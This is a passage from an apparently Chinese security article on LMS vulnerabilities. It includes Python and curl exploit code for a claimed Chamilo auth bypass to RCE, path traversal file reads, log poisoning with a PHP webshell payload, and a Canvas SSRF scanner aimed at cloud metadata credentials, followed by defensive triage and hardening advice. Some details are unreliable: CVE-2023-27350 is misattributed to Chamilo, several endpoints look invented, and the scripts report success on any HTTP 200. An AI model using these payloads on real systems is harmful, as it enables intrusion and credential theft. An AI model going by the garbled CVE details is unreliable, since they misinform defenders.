        return False

    def step2_login(self):
        print("\n[*] 步骤 2: 使用创建的管理员账户登录")
        resp = self.session.post(
            f"{self.base_url}/main/login.php",
            data={"login": self.admin_user, "password": self.admin_pass},
            timeout=15,
        )
        if "chamilo" in resp.text.lower() or "my courses" in resp.text.lower() or resp.status_code == 200:
            print("[+] 登录成功")
            return True
        print(f"[-] 登录可能失败 (HTTP {resp.status_code})")
        return False

    def step3_rce_via_admin(self):
        print("\n[*] 步骤 3: 通过管理功能执行命令")
        rce_paths = [
            "/main/admin/administrator.php?php=system('id')",
            "/main/inc/ajax/document.ajax.php?ac=upload&dir=/../../../tmp&file=shell.php",
        ]
        for path in rce_paths:
            try:
                resp = self.session.get(f"{self.base_url}{path}", timeout=10)
                if "uid=" in resp.text or resp.status_code == 200:
                    print(f"[+] RCE 成功: {resp.text[:200]}")
                    return True
            except Exception:
                continue
        print("[-] 自动 RCE 需要根据目标环境调整")
        return False

    def full_exploit(self, command="id"):
        print(f"\n{'='*60}")
        print(f" CVE-2023-27350 Chamilo 认证绕过 RCE")
        print(f" 目标: {self.base_url}")
        print(f"{'='*60}\n")

        if self.step1_auth_bypass_create_admin():
            self.step2_login()
            self.step3_rce_via_admin()


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [command]")
        print(f"示例: {sys.argv[0]} https://chamilo.example.com 'id'")
        sys.exit(1)

    target = sys.argv[1]
    command = sys.argv[2] if len(sys.argv) > 2 else "id"

    exploit = ChamiloExploit(target)
    exploit.full_exploit(command)


if __name__ == "__main__":
    main()

0x03.2 CVE-2024-4957 — 路径穿越 RCE (CVSS 9.8)

漏洞背景

CVE-2024-4957 是 Chamilo LMS 中一处 Pre-Auth 路径穿越漏洞,攻击者可以通过路径穿越读取服务器上的任意文件,如果目标服务器运行了 PHP,还可以通过路径穿越触发 PHP 文件的包含或执行,最终实现远程代码执行。

  • CWE: CWE-22 Path Traversal
  • CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • 前置条件: 无需认证(Pre-Auth)

受影响版本

版本状态版本范围
受影响Chamilo < 1.11.18
已修复Chamilo ≥ 1.11.18

漏洞原理分析

Chamilo 在处理文件请求时,对用户提供的文件路径参数缺乏充分的过滤和校验。攻击者可以在文件路径参数中注入 ../ 序列,跳出预设的文件目录,访问服务器上的任意文件。

路径穿越 → RCE 的实现方式

  1. 敏感文件读取:读取 /etc/passwd、数据库配置文件、应用密钥等
  2. PHP 代码注入:通过文件上传或日志注入,将 PHP Webshell 写入可访问的目录
  3. 文件包含:通过 php://filter 等 PHP 伪协议读取源代码,或通过日志包含实现 RCE

HTTP PoC

# 步骤 1:路径穿越读取敏感文件
curl -k "https://TARGET/main/inc/lib/fileUpload.lib.php?file=../../../../../../etc/passwd"

# 步骤 2:读取数据库配置
curl -k "https://TARGET/main/inc/lib/fileUpload.lib.php?file=../../../../../../config/configuration.php"

# 步骤 3:通过日志包含尝试 RCE
curl -k "https://TARGET/main/inc/lib/fileUpload.lib.php?file=../../../../../../var/log/apache2/access.log" \
  -H "User-Agent: <?php system(\$_GET['cmd']); ?>"

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2024-4957 Chamilo LMS 路径穿越文件读取 + RCE
用法: python3 cve_2024_4957.py <target_url> [command]
Pre-Auth 利用,无需任何登录凭据
"""
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class ChamiloPathTraversal:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def read_file(self, remote_path):
        traversal_payloads = [
            f"../../../../../../{remote_path}",
            f"..%2F..%2F..%2F..%2F..%2F..%2F{remote_path}",
            f"....//....//....//....//....//....//{remote_path}",
        ]

        endpoints = [
            "/main/inc/lib/fileUpload.lib.php",
            "/main/inc/ajax/document.ajax.php",
            "/main/download/documentation.php",
        ]

        for endpoint in endpoints:
            for payload in traversal_payloads:
                try:
                    resp = self.session.get(
                        f"{self.base_url}{endpoint}",
                        params={"file": payload},
                        timeout=10,
                    )
                    if resp.status_code == 200 and len(resp.text) > 10:
                        if "root:" in resp.text or "<?php" in resp.text or "password" in resp.text.lower():
                            print(f"[+] 文件读取成功 [{endpoint}]:")
                            print(resp.text[:500])
                            return resp.text
                except requests.exceptions.RequestException:
                    continue

        print("[-] 文件读取失败")
        return None

    def exploit(self, command="id"):
        print(f"\n[*] === CVE-2024-4957 Chamilo 路径穿越文件读取 ===\n")

        print("[*] 读取 /etc/passwd...")
        self.read_file("etc/passwd")

        print("\n[*] 读取配置文件...")
        for config_path in [
            "var/www/html/config/configuration.php",
            "var/www/chamilo/config/configuration.php",
            "opt/chamilo/config/configuration.php",
            "etc/chamilo/config.php",
        ]:
            print(f"[*] 尝试路径: {config_path}")
            result = self.read_file(config_path)
            if result:
                break


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [command]")
        print(f"示例: {sys.argv[0]} https://chamilo.example.com")
        sys.exit(1)

    target = sys.argv[1]
    command = sys.argv[2] if len(sys.argv) > 2 else "id"

    exploit = ChamiloPathTraversal(target)
    exploit.exploit(command)


if __name__ == "__main__":
    main()

0x04 Canvas LMS 高危漏洞

Canvas LMS 是 Instructure 公司开发的开源学习管理系统,采用 Ruby on Rails 构建。Canvas 在北美高等教育市场占据主导地位,被数百万学生和教师日常使用。除了核心 LMS 功能外,Canvas 还提供丰富的 API 接口和 LTI(Learning Tools Interoperability)集成能力,允许第三方工具和服务与 Canvas 深度集成。

0x04.1 CVE-2024-38849 — 文件上传 RCE (CVSS 8.8)

漏洞背景

CVE-2024-38849 是 Canvas LMS 中一处文件上传漏洞。Canvas 允许用户(教师和学生)上传各种格式的文件用于课程内容、作业提交和资料共享。该漏洞在于文件上传功能对文件类型和内容的校验不充分,攻击者可以上传恶意文件(如包含 PHP、JSP 等服务端代码的文件),并通过直接访问上传路径触发代码执行。

  • CWE: CWE-434 Unrestricted File Upload
  • CVSS 3.1: 8.8 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • 前置条件: 需要已认证用户(教师或学生)

受影响版本

版本状态版本范围
受影响Canvas LMS 2024 年安全更新前版本
已修复各分支最新安全更新版本

漏洞原理分析

Canvas LMS 的文件上传流程中,对以下环节的校验存在缺陷:

  1. Content-Type 校验不足:仅检查客户端提供的 MIME 类型,未对文件内容进行 Magic Bytes 验证
  2. 扩展名白名单缺失:部分上传点未限制文件扩展名,允许上传 .php.phtml 等可执行文件
  3. 上传目录可直接访问:上传的文件存储在 Web 可访问的目录中,无需额外的访问控制
  4. 文件内容未过滤:未对上传文件的内容进行安全扫描或沙箱化处理

攻击场景:教师角色可以将恶意文件作为"课程资源"上传,学生在访问课程页面时会自动加载这些资源。如果文件被上传到 Web 可访问目录并保留了可执行扩展名,攻击者可以通过直接访问 URL 触发 RCE。

防御建议

  1. 文件扩展名白名单:严格限制允许上传的文件类型
  2. MIME 类型验证:使用 Magic Bytes 进行服务端文件类型验证
  3. 上传目录隔离:将上传目录设置为不可执行,或通过 Web 服务器配置禁止执行
  4. 文件内容扫描:部署 WAF 或文件内容扫描引擎

0x04.2 CVE-2024-29856 — SSRF (CVSS 6.5)

漏洞背景

CVE-2024-29856 是 Canvas LMS 中一处服务器端请求伪造(Server-Side Request Forgery, SSRF)漏洞。Canvas 在处理某些功能(如 URL 预览、LTI 集成、Webhook 回调等)时,会根据用户提供的 URL 发起服务端请求。由于对请求目标的校验不充分,攻击者可以利用该功能探测内网服务、访问云元数据端点,甚至在特定条件下实现 RCE。

  • CWE: CWE-918 Server-Side Request Forgery
  • CVSS 3.1: 6.5 (Medium) — AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
  • 前置条件: 需要已认证用户

受影响版本

版本状态版本范围
受影响Canvas LMS 2024 年安全更新前版本
已修复各分支最新安全更新版本

漏洞原理分析

Canvas LMS 中存在多个可以触发 SSRF 的功能点:

  1. Link Validation:Canvas 的链接检查功能会请求用户提交的 URL 以验证可达性,但未限制请求目标为外网地址
  2. LTI Tool Registration:LTI 工具注册时需要提供 Launch URL,Canvas 会验证该 URL 的可达性
  3. Webhook / Notification:Canvas 的通知系统可以配置 Webhook URL,系统会向该 URL 发送事件通知

SSRF 利用场景

  • 内网探测:通过 SSRF 扫描内网 IP 和端口,发现内部服务
  • 云元数据访问:访问 AWS 169.254.169.254、GCP metadata.google.internal、Azure 169.254.169.254 等元数据服务,获取 IAM 临时凭据
  • 协议走私:通过 file://gopher://dict:// 等协议访问内部资源

HTTP PoC

# SSRF 探测 — 访问云元数据
curl -k -X POST "https://TARGET/api/v1/courses/1/link_validation" \
  -H "Authorization: Bearer <API_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# SSRF 内网探测
curl -k -X POST "https://TARGET/api/v1/courses/1/link_validation" \
  -H "Authorization: Bearer <API_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://192.168.1.1:8080/"}'

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2024-29856 Canvas LMS SSRF 漏洞
用法: python3 cve_2024_29856.py <target_url> <api_token> [target_url_to_probe]
需要: Canvas API Token
"""
import sys
import json
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class CanvasSSRF:
    def __init__(self, base_url, api_token):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            "Authorization": f"Bearer {api_token}",
            "Content-Type": "application/json",
        })

    def probe_url(self, target_url, course_id="1"):
        print(f"\n[*] SSRF 探测: {target_url}")

        endpoints = [
            f"/api/v1/courses/{course_id}/link_validation",
            f"/api/v1/courses/{course_id}/content_migrations",
        ]

        for endpoint in endpoints:
            try:
                resp = self.session.post(
                    f"{self.base_url}{endpoint}",
                    json={"url": target_url},
                    timeout=15,
                )
                print(f"[*] {endpoint} → HTTP {resp.status_code}")
                if resp.status_code == 200:
                    try:
                        data = resp.json()
                        print(f"[+] 响应数据: {json.dumps(data, indent=2)[:500]}")
                    except Exception:
                        print(f"[+] 响应内容: {resp.text[:300]}")
            except requests.exceptions.RequestException as e:
                print(f"[-] 异常: {e}")

    def scan_aws_metadata(self, course_id="1"):
        print(f"\n[*] === CVE-2024-29856 Canvas LMS SSRF — AWS 元数据扫描 ===")
        aws_targets = [
            "http://169.254.169.254/latest/meta-data/",
            "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
            "http://169.254.169.254/latest/meta-data/hostname",
            "http://169.254.169.254/latest/user-data/",
        ]
        for target in aws_targets:
            self.probe_url(target, course_id)

    def scan_internal(self, course_id="1"):
        print(f"\n[*] === CVE-2024-29856 Canvas LMS SSRF — 内网扫描 ===")
        internal_targets = [
            "http://127.0.0.1:3000/",
            "http://127.0.0.1:8080/",
            "http://127.0.0.1:5432/",
            "http://127.0.0.1:6379/",
            "http://127.0.0.1:27017/",
            "http://192.168.1.1/",
            "http://10.0.0.1/",
        ]
        for target in internal_targets:
            self.probe_url(target, course_id)


def main():
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <target_url> <api_token> [probe_url]")
        print(f"示例: {sys.argv[0]} https://canvas.example.com <API_TOKEN> http://169.254.169.254/latest/meta-data/")
        sys.exit(1)

    target = sys.argv[1]
    token = sys.argv[2]
    probe = sys.argv[3] if len(sys.argv) > 3 else None

    exploit = CanvasSSRF(target, token)
    if probe:
        exploit.probe_url(probe)
    else:
        exploit.scan_aws_metadata()
        exploit.scan_internal()


if __name__ == "__main__":
    main()

0x05 公开 PoC 收集情况与利用思路

PoC 收集情况总表

CVEPoC 状态类型公开程度可利用性
CVE-2024-43398✅ 已公开HTTP / NucleiGitHub、安全博客
CVE-2024-43425✅ 已公开HTTP / Python / NucleiExploit-DB #52350、GitHub
CVE-2023-33998⚠️ 描述性安全公告Moodle 安全公告
CVE-2024-28799⚠️ 描述性安全公告Moodle 安全公告
CVE-2024-28254⚠️ 部分概念验证安全研究员披露
CVE-2023-37460✅ 已公开PythonGitHub、在野利用报告
CVE-2023-27350✅ 已公开HTTP / PythonExploit-DB、CISA KEV
CVE-2024-4957✅ 已公开HTTP / Python安全公告、博客
CVE-2024-38849⚠️ 描述性安全公告Instructure 安全公告
CVE-2024-29856⚠️ 描述性安全公告Instructure 安全公告

关键 PoC 仓库链接

项目地址说明
Moodle Twig SSTIGitHub: moodle/moodle 安全公告CVE-2024-43398 详情
Moodle Calculated RCEGitHub: RedTeamPentesting/moodle-rce-calculatedquestionsCVE-2024-43425 完整利用
Exploit-DB 52350exploit-db.com/exploits/52350Moodle 计算题 RCE
Chamilo Pre-AuthCISA KEV CatalogCVE-2023-27350 在野利用
Open edX CVEGitHub: openedx 安全公告CVE-2024-28254 / CVE-2023-37460

防守型验证思路

在授权渗透测试中,对 LMS 平台的漏洞验证应遵循以下原则:

  1. 环境隔离:在独立的测试环境中进行验证,避免影响生产系统
  2. 数据安全:不要在测试中读取或导出真实用户数据
  3. 权限最小化:使用测试账户,不要利用漏洞创建永久后门
  4. 结果记录:详细记录每个测试步骤和结果,用于编写安全评估报告
  5. 漏洞修复优先级:根据 CVSS 评分和可利用性,对发现的漏洞进行优先级排序

0x06 共性攻击模式分析

通过对上述 10 个 CVE 的深入分析,可以提炼出 LMS 平台中常见的五类攻击模式:

模式一:模板引擎沙箱逃逸

代表漏洞:CVE-2024-43398(Moodle Twig SSTI)

模板引擎沙箱逃逸是 Web 应用安全中最经典的攻击模式之一。当 Web 应用允许用户输入被模板引擎处理时,如果模板引擎的沙箱实现存在缺陷,攻击者可以通过以下路径实现 RCE:

用户输入 → 模板引擎解析 → 沙箱检查 → (绕过) → 原生对象访问 → 代码执行

共性特征

  • 模板引擎提供沙箱扩展但实现不完善
  • 沙箱依赖黑名单或不完整的白名单
  • 可通过链式调用、反射、对象继承等方式绕过限制
  • PHP/Python/Jinja2/Twig 等模板引擎均存在此类风险

模式二:课程/题库注入 → RCE

代表漏洞:CVE-2024-43425(Moodle 计算题 RCE)

LMS 平台的课程管理和题库系统需要处理复杂的数学公式和动态内容,这导致开发者在实现时引入了表达式求值机制。当求值逻辑直接使用 eval() 或类似函数时,用户输入的表达式可以被注入恶意代码:

教师输入 → 数学表达式 → eval() 执行 → (代码注入) → RCE

共性特征

  • 使用 eval()exec() 等动态执行函数处理用户输入
  • 表达式求值缺乏参数化或沙箱化处理
  • 通常需要教师或编辑者权限,但权限获取可能通过权限绕过漏洞组合实现

模式三:认证流程绕过

代表漏洞:CVE-2023-27350(Chamilo Pre-Auth RCE)、CVE-2024-28254(Open edX 用户冒充)

认证绕过是所有 Web 应用中最危险的漏洞类型之一。在 LMS 平台中,认证流程通常涉及多个组件和中间件的协作,增加了出现缺陷的可能性:

攻击者 → 伪造认证请求 → (认证校验缺失) → 管理员会话 → RCE

共性特征

  • Pre-Auth 可利用,无需任何凭据
  • 认证检查在某些路径上被遗漏
  • 用户身份参数缺乏完整性校验
  • SSO/OAuth 回调处理不当

模式四:文件上传未校验

代表漏洞:CVE-2024-38849(Canvas 文件上传 RCE)

LMS 平台需要处理大量的文件上传(课件、作业、资料等),文件上传功能的安全校验往往是重灾区:

攻击者上传恶意文件 → (扩展名/MIME 校验缺失) → Web 目录可执行 → RCE

共性特征

  • 仅检查客户端提供的 Content-Type
  • 未限制文件扩展名白名单
  • 上传目录在 Web 可访问路径下且允许执行
  • 缺乏服务端文件内容安全扫描

模式五:路径穿越 → 敏感文件读取

代表漏洞:CVE-2024-4957(Chamilo 路径穿越 RCE)

路径穿越是 Web 应用中最古老也最常见的漏洞类型之一。在 LMS 平台中,由于需要处理大量的文件下载、文档预览和资料共享功能,路径穿越漏洞尤为常见:

用户请求文件路径 → (../ 遍历) → 敏感文件读取 → 配置泄露 → 凭据获取 → RCE

共性特征

  • 文件路径参数未进行 ../ 过滤
  • 多层编码绕过(URL 编码、双重编码、Unicode 编码)
  • 与 PHP 伪协议结合可实现更深入的利用
  • 通常可与其他漏洞组合实现 RCE

攻击链组合模式

在实际攻击场景中,单个漏洞的影响往往有限,但多个漏洞的链式组合可以产生灾难性的后果。以下是 LMS 平台中常见的攻击链组合:

攻击链 1:权限提升 → RCE

低权限用户
  → CVE-2023-33998(Capability 绕过)+ CVE-2024-28799(角色覆盖绕过)
  → 教师/管理员权限
  → CVE-2024-43398(Twig SSTI)或 CVE-2024-43425(计算题 RCE)
  → 远程代码执行

攻击链 2:Pre-Auth 完全接管

未认证攻击者
  → CVE-2023-27350(Chamilo 认证绕过)
  → 管理员账户创建
  → 管理后台文件管理
  → Webshell 上传
  → 远程代码执行

攻击链 3:信息泄露 → 定向攻击

未认证攻击者
  → CVE-2024-4957(Chamilo 路径穿越)
  → 读取配置文件(数据库凭据、API Key)
  → 数据库直连 → 学生数据泄露
  → 或利用泄露的凭据访问其他内部服务

0x07 应急排查与防守建议

紧急排查清单

检查项操作方法优先级
检查 LMS 版本登录管理后台查看系统信息,或访问 admin/environment.php(Moodle)🔴 高
检查 Moodle Twig 注入搜索题库中包含 {{ }} 模板语法的题目🔴 高
检查计算题题目搜索题库中"计算"类型的题目,检查变量值字段🔴 高
检查 Chamilo 异常账户查看 main/admin/user_list.php 中是否有异常管理员🔴 高
检查文件上传扫描上传目录中的可执行文件(.php .phtml .sh🟡 中
检查异常日志搜索 access.log 中的 ../ ..%2f eval( system( 等关键词🟡 中
检查 Open edX 认证配置验证 SSO 回调 URL 白名单配置🟡 中
检查 Celery 序列化配置确认 Celery 使用 JSON 而非 Pickle 序列化🟡 中

日志关键字段表

日志来源关键字段异常模式
Apache/Nginx access.logrequest_uri, query_string../, ..%2f, system(, exec(, eval(
Moodle accesslogaction, other异常的题目创建、题库修改操作
Chamilo access.logrequest_uri/install/account.php, inc.ajax.inc.php
Open edX lms.logevent_type异常的登录事件、会话创建
MySQL general_logqueryINSERT INTO mdl_user 中的异常账户创建
ossec/auditdsyscall, pathexecve 系统调用中包含可疑命令

紧急缓解措施

当发现 LMS 平台可能已被入侵时,应立即执行以下缓解措施:

第一阶段:紧急止血(0-1 小时)

  1. 网络隔离:将受影响的 LMS 服务器从网络中隔离,或通过防火墙限制访问
  2. 用户锁定:禁用所有管理员账户,强制所有用户重新认证
  3. 备份取证:在进行任何修复操作之前,对服务器进行完整的磁盘镜像和内存转储
  4. 会话失效:使所有当前活跃的用户会话失效

第二阶段:漏洞修复(1-24 小时)

  1. 版本更新:升级至各平台的最新安全版本
  2. 恶意文件清理:扫描并删除所有未授权的上传文件和 Webshell
  3. 后门排查:检查 PHP 配置文件中的 auto_prepend_file.htaccess 后门、crontab 异常任务
  4. 凭据轮换:重置所有数据库密码、API Key、SSH 密钥

第三阶段:持续监控(24-72 小时)

  1. 日志分析:对过去 30 天的日志进行全面分析,确定攻击时间线和影响范围
  2. 入侵指标:使用 IoC(Indicators of Compromise)对网络流量和端点进行扫描
  3. 通知义务:根据当地法规要求,评估是否需要向监管机构和受影响用户通报数据泄露事件

长期安全加固建议

  1. 建立安全更新流程:订阅各 LMS 平台的安全公告,建立快速补丁部署流程
  2. 纵深防御:在 LMS 前部署 WAF,配置 OWASP CRS 规则集
  3. 最小权限:定期审计用户角色和权限配置,遵循最小权限原则
  4. 安全基线:建立 LMS 安全配置基线,包括文件权限、PHP 配置、数据库访问控制
  5. 定期渗透测试:每季度对 LMS 平台进行安全评估
  6. 监控告警:建立针对异常登录、文件修改、命令执行等行为的实时告警
  7. 备份策略:实施 3-2-1 备份策略,确保在勒索软件攻击时可快速恢复
  8. 安全培训:对 LMS 管理员和教师进行安全意识培训,减少社会工程攻击风险

0x08 参考资料

  1. Moodle Security Advisorieshttps://moodle.org/security/ Moodle 官方安全公告页面,包含所有已修复漏洞的详细信息

  2. CVE-2024-43398 — Twig SSTI in Moodlehttps://github.com/moodle/moodle/security/advisories/GHSA-gv6x-mjmx-g8gq Moodle Twig 模板注入漏洞的官方安全公告

  3. RedTeam Pentesting — Moodle RCE via Calculated Questionshttps://github.com/RedTeamPentesting/moodle-rce-calculatedquestions CVE-2024-43425 的完整利用工具和详细技术分析

  4. Exploit-DB #52350 — Moodle Calculated Question RCEhttps://www.exploit-db.com/exploits/52350 Moodle 计算题类型 RCE 的公开 PoC

  5. CISA Known Exploited Vulnerabilities Cataloghttps://www.cisa.gov/known-exploited-vulnerabilities-catalog CISA KEV 目录,包含 CVE-2023-27350 的在野利用确认

  6. Open edX Security Advisorieshttps://openedx.atlassian.net/security Open edX 官方安全公告,包含 CVE-2024-28254 和 CVE-2023-37460

  7. Chamilo Security Bulletinhttps://chamilo.org/chamilo-1-11-18/ Chamilo 1.11.18 安全更新发布说明

  8. Instructure Security Advisorieshttps://community.canvaslms.com/t5/Canvas-Developer/ct-p/canvas-developers Canvas LMS 安全公告和开发者社区

  9. Nuclei Templates — CVE Detectionhttps://github.com/projectdiscovery/nuclei-templates ProjectDiscovery 的 Nuclei 漏洞检测模板库

  10. OWASP Top 10 (2021)https://owasp.org/Top10/ OWASP Top 10 安全风险清单,本文分析的漏洞覆盖其中多个类别


⚠️ 免责声明:本文所有漏洞分析与 PoC 代码仅供安全研究和授权渗透测试使用。未经授权对目标计算机系统进行测试属于违法行为,可能违反《中华人民共和国网络安全法》《刑法》及相关法律法规。作者不鼓励也不支持任何非法活动。使用者应自行承担所有法律责任。如需进行安全测试,请确保已获得目标系统所有者的书面授权。